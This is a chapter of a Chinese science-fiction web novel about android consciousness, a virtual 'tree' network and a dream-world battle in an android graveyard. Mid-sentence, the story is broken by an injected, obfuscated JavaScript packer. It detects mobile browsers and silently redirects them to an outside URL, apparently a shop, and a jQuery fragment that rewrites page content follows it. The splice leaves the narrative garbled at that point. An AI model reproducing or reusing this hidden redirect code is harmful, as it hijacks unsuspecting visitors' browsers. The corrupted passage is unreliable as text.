118.仿生人之墓06

作品:《后机械启示纪行

    无边无际的黑暗。


    他紧紧闭上眼,希望外面的世界就此消失。


    但绝望的尖叫声还是钻过他捂住耳朵的手指,刺穿他的耳膜。


    他忍不住通过面前的小缝向外望去,但他只能看得到刮刮匝匝的火光。


    这一团鲜红明亮的火,就是他关于童年最后的记忆。


    姜原百无聊赖地坐在一个仿生人光溜溜的身体上,抖腿。


    时间在一分一秒的流逝,而那群小孩的意识还是没有完全融合。


    目前混沌源体的完成度接近80%,那个年轻人李想刚才报告过一次。但自那次报告过去十几分钟,就连姜原也看得出,进度就再也没有前进一点。似乎什么东西把这个进程卡住了。


    姜原第一时间就想到了周向青。


    一个仿生人的意识混进去,应该不会有太大变化吧?仿生人的意识总体而言,仍然是人类的复制品。何况他们要的是混沌源体也不过是一锅浓稠的汤汁,甘蔗也好,甜菜也罢,就连玉米,也都能做得出糖来。


    但姜原也知道,在糖的水溶液结晶的过程中,晶体会优先附着在杂质周围。所以制糖时会放入晶种,来引导晶体成型——有时甚至就是放一条绳子。而这一口混沌的意识大锅中放入周向青这一个杂质,会产生什么样的效果?


    不管怎么样,虽然这不是规划中的情况,但这是正在发生的现实。


    姜原觉得非常可惜。


    非常、非常、非常可惜。


    或许周向青距离找到弗莱留下的信息就只差一步。说不定在弗莱的遗产中,就可以找到茂山实验的地址,就能得知这个传奇的数据猎人对于自动化大崩溃的看法——毕竟他曾经联系并策划了三年的和平协议来筹备一个解决不是吗?


    但这也仅仅是“可能”解决仿生人的问题。


    毕竟弗莱就此永远地消失了。说不定他的方案只是一个泡影,因为就连制造仿生人的世界政府最后都没有找到破解自动化大崩溃的方法。


    何况姜原都不知道韦氏池最后的测试结果。


    以常理来说,这个结果十有八九并不怎么样。否则事态也不会恶化到今天这个地步。


    所以即便他找到了茂山实验的遗址,拿到一个失败过的韦氏池的配方,对于改变眼前的现实,又能派上什么用呢?


    所以在周向青和自己这十几年来的谋划之间,姜原选择了后者。


    他不想错过这样一个没有下次的机会。


    学院的“整束根系”行动,基本上就是把一切“树”用来吸收外界信息的树根,都集中到了他们建造的据点。学生们能够看到的永远只是类似于大崩溃前遗迹的房间,通过房间内的校验设施确认身份之后,意识就被抽离出去,送进学院。随后他们的身体和随身重要物品都由管理员保存在“共享车库”里。


    从此以后,学院之外的人就无法再直接接触“树”,所有交互都必须通过学院设置的中介。这与其说是“整束”,倒不如说是保护与垄断。垄断自然是把使用“树”的权利掌握在学院手中,但保护,自然是针对心怀不轨的人。


    比如,姜原。


    其实他在进入学院的时候,还没有什么太强烈的恶意。因为他不大记得过去的事情。但在认识了教授们之后,他明白了一件事:


    他家乡的悲剧不是因为自动化大崩溃和仿生人,而是因为主导这些实验的教授们永远躲在非常安全的虚拟“学院”之中。


    正是因为他们如此安全,所以才对其他人的安全没有实感。才能让学生们为了一点小小的科研成果就牺牲自己的生命。


    自那时起,他就有了一个想法。


    既然教授们这么喜欢躲在虚拟的世界里,那就让他们永远躲在里面出不来好了。


    姜原为了这个目标,展开了自己的研究。


    他称之为“火种”。


    火种就是一个能够不断复制大量无效信息的拟仿生人插件,通过学院的连接方式接入之后,就会通过这些无效信息挤占全部“树”蔓延到外界用来采集信息的根。它不仅可以自我复制,还会污染其它信息源发送的数据,把其它有效信息也一并烧毁。


    星星之火,可以燎原。


    但这个谋划唯一的问题就是:他无法攻破学院的“防火墙”。


    所以在抓住这次机会之后,姜原本以为一切都会很快,他进入仿生人墓地,他设置好“火种”,他点火,然后他把整棵树付之一炬。


    所以他也不能告诉周向青自己的阴谋,因为这有可能消灭弗莱留下来的所有痕迹。


    他心里做好了背叛的准备。


    只是他没想到还需要等待。


    他是个很有耐心的人。他为了一个目标已经等了十几年。他本来还能继续等下去,如果他今天没有做出这个选择的话。


    但他已经做出了选择。


    选择并不仅仅意味获得。选择还意味着放弃。


    而等待的每一分每一秒,放弃带来的疑惑与焦虑都在指数式地增加。周围环境里的每一丝风吹草动都在对他窃窃私语——


    你选错了。


    你不应该背叛她的。


    你应该告诉他们,混沌源体融合进度之所以无法推进,是因为里面混进了一个仿生人的意识,所以现在最好的方案就是终止混合,把意识撤出来,看看能不能重新找一批讨厌的小孩,然后再试一次。


    说不定沈愈并不会因此而对他起什么疑心。就算再次让教务处刺探他的脑袋,他也挺得过去,然后能够再进来一次。好笑的是,他甚至不知道为什么沈愈偏偏找他来做这件事。虽然沈愈有时也的确给他派活,但他从来都不是沈愈的心腹。从他入学的第一天起,从他被教务处审查的第一天起,他就没有这个资格。


    但沈愈居然偏偏要用他。


    或许是因为沈愈能用的几个人都有其它的事要办,而另外的人都不如他有经验且脸熟;也有可能沈愈认为她已经能够拿捏自己,而自己不敢背叛她的信任。


    好吧,她至少有一半是对的。


    但是他却可能大错特错了。


    或许弗莱真的有什么办法,只是他没有时间做到——传奇猎人也是个老人了,不是么?


    那样的话,他真的错过了一个价值整个世界的大目标。


    姜原突然站了起来。


    他想说。他想改变自己的选择。


    但就在他开口的瞬间,李想激动的叫声堵住了他要说的话——


    “动了!计量表动了!”


    姜原握紧了口袋里的圆盘。他似乎看到了即将燃起的火光。


    ###


    一团在无边无际黑暗中的火光。


    几乎在十字螺丝刀撞上周向青眉心的一瞬间,她动了起来。


    她动得并不快。她前冲,挥拳。


    而王鲤渊就像之前一样消失,然后出现,然后飞了出去。


    那一拳并没有落在王鲤渊的脸上,但却有什么看不到的东西狠狠命中了他的脸。


    血从王鲤渊的嘴角流了出来。他的牙齿划破了口腔内侧的肉。


    “你……怎么回事?”他又羞又恼。


    “你不是说这是一场梦吗?所以这就是梦中最常遇到的情况。”周向青难以掩饰自己语气中的得意。“来自过去的拳头命中了你现在的脸颊。”


    “你说什么鬼话?”


    “或许我不知道你会往哪里躲,但我永远知道你曾经在哪里。一个人的过去,永远都是确定的。而这也是过去最值得可怕的地方。你永远改变不了它,你永远活在过去的阴影里。而这也是这个世界存在的规律,不是吗?”周向青微微晃了晃自己的左腕的刀刃。“刚才只是试试水,而下一次就不是拳头了。”


    “你……你这残废!”王鲤渊怒骂道,同时一个后撤步,双手在空中猛地一拍,十指相扣。这像是一个不太标准的祈祷动作,但也正伴随这个动作,空中的一颗星星居然划出一道流光,冲着周向青落了下来。


    这种人在意识到自己不是绝对安全之后,就会陷入无能的狂怒。


    但一个无能狂怒的人并不因此就失去造成伤害的能力。实际上,他反而会更危险。


    周向青扭头就逃。


    但这颗落星并不是直径百万公里的真正发光恒星,而是一块因为高速冲过空气而燃烧发光的陨石。这块陨石甚至有一点点的导航功能,不断修正轨道向她砸落,她只在最后一刻才堪堪避过。然而陨石落地的冲击波,也依然把她吹了一个踉跄。石块在地面砸出一个三米大小的凹坑,因撞击而碎裂的残石还未燃烧殆尽,闪烁着点点红光。


    但这只是一个开始。


    更多的流星就像一场光雨,不断从空中接连坠落。周向青想要打断王鲤渊的祈祷,但接连几颗流星都砸在她前进的路上,迫使她不断闪躲,左右支绌。但更诡异的是,夜空中的星群并没有因这场流星雨而减少,似乎这些流星并不来自于真正的星空,而是从他们头顶上方的某个位置虚构出来的。


    “你这个骗术师!”周向青躲过一颗砸向她的流星,从地上抄起刚刚王鲤渊向她掷来的螺丝刀,反手甩了出去。螺丝刀从落星之中穿梭飞过,从侧面射向王鲤渊的太阳穴。王鲤渊只能松开紧扣的双手,一把将螺丝刀抓在手里。


    也就是这一瞬的中断,流星也不再从空中坠落。周向青已经利用这个机会,逼近到五米之内。王鲤渊自然知道这意味着什么,他猛地将螺丝刀戳进自己的大腿,鲜血从那里喷涌出来,同时周向青也感到自己的大腿失去了知觉。她一个踉跄,身子倒了下去,但右手的圣女草纤维早已在她五指之间拧成四支长长的带倒钩的尖刺,借着她倒下时的一挥,呈扇形激射向王鲤渊的胸口。


    王鲤渊猛地趴下,整个身体再次掉进黑洞。


    周向青急忙左右张望,在自己的房车车顶捕捉到正在张开的洞口。她没有时间抢先赶到那里,便直接抄起地上余火未熄的碎石,掷向黑洞下方的位置。王鲤渊刚刚从洞里出来,而那一把碎石正正命中他的脑袋和身体。


    他一个趔趄,从房车车顶翻了下去,落到车身之后。


    周向青早在掷出碎石的时候,单脚单手用力一撑,把自己的身体顶向房车之后。但也就在她探头寻找王鲤渊位置的瞬间,眼角看到火光一闪。


    她急忙缩回脑袋,但那一发攻击一并穿透了房车的车身。


    在周向青恢复视觉的那一刻,王鲤渊正站在她的上方,目不转睛地盯着她看。


    燃烧的小房车则成了他炫目的背景。


    周向青想要起身。她试着动了动,但整个身体似乎已经不听使唤。她挣扎着翻过身,单用左手支撑着地面,缓缓爬了起来。


    王鲤渊脸上的好奇已经变成了惊惧。


    周向青不知道王鲤渊为什么会有这样的表情,但她隐约感觉自己的上半身轻了很多。她感觉到那些圣女草纤维在她的脑袋一圈不断蠕动,痒痒地很是难受。


    她忍不住抬手去挠。然后她并没有摸到自己的脸,而是一个硬硬的、充满纹路的、上大下小的东西。


    这到底是什么?她摇晃着自己的脖子,想要把这个玩意从头上甩下来。


    不,它不在她的头上。


    它就是她的“头”。


    王鲤渊脸上的表情越来越扭曲。“你这个样子……到底是怎么回事?”


    ——什么怎么回事?


    周向青叫道。但是她似乎发不出声音。


    还能怎么回事?都是因为你!都是因为你,才让我变成了这副模样!她无声地呐喊。


    王鲤渊的瞳孔放大了。


    周向青感到自己脖子之上似乎打开了什么东西。是花。花开了。她莫名其妙地就这么认定。就像卡比利亚那一夜,她被圣女草包裹之后盛开的鲜花。


    这种活化机械接受了她的意识,记录了她的意识,然后融入了她的意识。


    然后她又继承了这种意识。


    就像她的意识能够从身体传递到树,从树传递到蛇一样,她的意识也能够从这条可以分散可以聚合的圣女草手臂,传递回自己的身体。


    有什么能比失去头部更残缺?


    但只要存在能够延续,无论存在以什么样的方式延续,她都不会死。


    那有什么能够比她更完整?


    会死的只有她的敌人。


    那些认为残缺就意味着变质的人。


    无数黑色纤维形成的浪潮从她残缺的右肩喷出,在她的周围汇集成汹涌的漩涡。


    王鲤渊迅速化成一簇金色的粉尘,准备逃离。


    他似乎认为周向青没有看到这个世界的能力,因为现在的她并没有眼睛。


    但这个世界并不同于现实。在这个世界中,任何呈现都依赖于电信号的填充。人类固然只能从五官的呈现去感知这个虚拟世界的运行状态,但这个世界的本质仍旧是信号,而非呈现。那么,如果你的思维本身就是电信号的话,任何变化都已经完全透明。


    在王鲤渊选择把自己的构成代码移动到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455049|195405||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    另一个位置,并把这个变动提交给树时,周向青已经截取到了这个申请。这也正是她之前认为的“无法摆脱的过去”的底层机制,只是当时她还不明确的知道该怎么做。如今她不再通过仿生脑思考,反而真正接触到了规律的本源。


    在王鲤渊出现在几十米外一片竹竿搭架的西红柿田的一瞬间,黑色的梦魇也在他头顶涌现。他仓皇遁入脚下的黑洞,但梦魇仍然紧追不舍。这是所有人童年都曾经历的噩梦,虽然你能短暂地逃离梦境,但只要耐不住困倦而合眼,刚刚消失的恐怖就卷土重来,缠绕、绞紧你的咽喉。这是倒置的现实。噩梦才是真,而现实才是梦。


    王鲤渊恐惧地将十指交握,举过头顶。


    流星开始落下。


    他想在流星雨降落的那一刻重新转化成金色的粉尘,却发现自己的身体已经全然被黑色的触须牢牢锁定。无数触须发送的相同讯号正在涌入“树”的神经网络,而王鲤渊用来自救的命令,已经淹没在无数复制重复的无效命令之中。


    陨落的流星裹着火焰和热浪,撞向王鲤渊头顶时,他绝望地想到:


    ——我的梦就要醒了!


    ——而我必须回到外面那个残酷而腐败的世界!


    王鲤渊的身躯已经被流星砸得粉碎,残余的血肉也由火焰一点一点吞噬殆尽。


    天空的血色裂痕又扩大了一分。一轮银白色的巨大月亮出现在血色的裂痕之后,看上去像是一个无比巨大的眼睛,正在窥探着下面的世界。


    黑色的纤维缓缓聚合在一起,汇成一股涌动的涡流,最终全部收拢到周向青的体内。但它并不平静,仍然贴着她的身体不断地旋转、流动,从脖颈的断口流入,从右肩的法兰盘流出,构成了一种奇特的循环。


    而那流动的轨迹像是一弯黑色的月弓。


    “你真的很厉害。”她的背后传来一个娇柔的女孩声音。“比我想象中厉害得多。”


    周向青慢慢转过身去,但没有答话。


    对面的苏炘看起来竟然一夜之间长大了,变成了十七八岁的年纪。


    那个女孩走上来,去拉周向青的左手。“虽然我很想现在就跟你庆祝一下,但恐怕还有一件事需要你帮忙。只要你帮我做完这最后一件事,我们就能一直在一起了。”


    周向青甩开了那女孩的手。


    那女孩露出一个受伤似的表情。“你为什么这样?我们不是一样的人吗?他们一样欺负我们,看不起我们,把我们当做异类。以前我只能默默忍受,但我现在有了你。”


    “所以,所以我只要求你帮我做最后一件事——”


    “——去杀了那个没用的木偶。然后,我就彻底从这里解脱了。”


    周向青一动不动。


    那女孩重新扑到她的身上,一手勾住她的肩膀,一手轻轻撩动那不断流转的黑色漩涡。“他真是个没用的人。他既不能改变别人对我的看法,又不能让我变得跟其他人一样。我跟着他,每天只能唯唯诺诺,过一个‘忍耐’、‘接受’的生活。如果只是一时之苦,那我可以忍受,但无论如何,我都只能是我自己。我都只能带着一个残缺的身体,一颗残缺的心不断挣扎,慢慢被排斥的眼光吞没——”


    “而我不想这样!但我又不能不这样。可你给了我机会,给了我希望,让我看到我能够改变周围的一切,我能够让他们敬畏我、服从我、依赖我。所以,那个木偶已经没有用了。我不想再看到它。”


    周向青默默迈开步子。


    她此时无法说话。但她没有必要说话。这个世界是用创造者知道的元素,为了她而生成的,每一个人都听得见她的心声。他们知道她的困惑、她的立场、她的选择。


    他们是为了摧毁她而出现的,也是为了被她摧毁而出现的。


    为了实现一个最终的目标:毁灭,与自我毁灭。


    但毁灭并不是一切的终结。


    陆江雪仍然在他的员工休息室里,看着一本厚厚的书。他粗糙的木头手指笨拙地尝试掀起书页,发出刺耳难听的刮擦声。


    他用不着回头,就知道周向青已经来了。


    “她叫你来杀我。看来这段日子终于要结束,而我仍然是失败了。我没有办法让个体接受并保持自己与众不同的状态。”木偶教师缓缓说道。“她要么就是屈服于大多数的意志,要么就是走向大多数的反面;不是被环境摧毁,就是摧毁环境。但我真的不知道,在人类已经存在的情况下,仿生人究竟是什么?能够是什么?难道仿生人的命运,就仅仅是因为能够取代人类而被畏惧、被抛弃,或者消灭创造了自己的人?”


    ——但仿生人真的是被人类创造的吗?


    ——的确,仿生人在人类出现之前并不存在,但并不意味着仿生人在人类出现的同时就不存在。人类在具有自己生理结构的同时,也就意味着仿生人的结构已经决定了。你梦中的自己,难道不是你存在之时就已经存在的吗?何时发现它,只是取决于你什么时候进入自己的梦罢了。


    ——如果你总是拒绝与梦中的自己对视,那么你永远无法知道自己的内心是什么样子。


    陆江雪露出了恍然大悟的神情。


    “朝闻道,夕死可矣。”


    “只是不知道现实中的我,有没有明白这一点呢?”


    周向青俯下身去,用她脖颈上的黑色漩涡对准了陆江雪的木偶身体。


    黑色的纤维如潮水般喷出。


    木偶身体溅上圣女草纤维的部分瞬间被融化、侵蚀,变得千疮百孔。黑色纤维涌出、回流,将木偶身体的所有部分都化为纤维的组分,带回周向青的体内。


    那个十八岁的女孩就在周向青的身后看着这一过程。她的双眼闪烁着兴奋的光。因为她终于从这种过去中解放了出来。她终于可以选择一条崭新的道路。


    “谢谢你!”她欣喜地叫喊。


    ——不用谢我。感谢那个创造你的人吧。


    ——沈愈。


    ——也请替我向他传达我的谢意。谢谢你的故事。


    周向青向那个女孩弯下腰去。


    黑色的纤维同样包裹了她娇柔的身体,在她痛苦的尖叫声中把她吞噬殆尽。


    血色的裂痕终于侵占了全部的天空。


    一轮巨大的圆月降临到了这个世界。


    住宅区中的所有建筑与地面都开始土崩瓦解,露出了这个世界原本的面貌。


    一片绵延起伏的,由无头的仿生人肢体构成的广袤原野。


    这就是仿生人的墓地。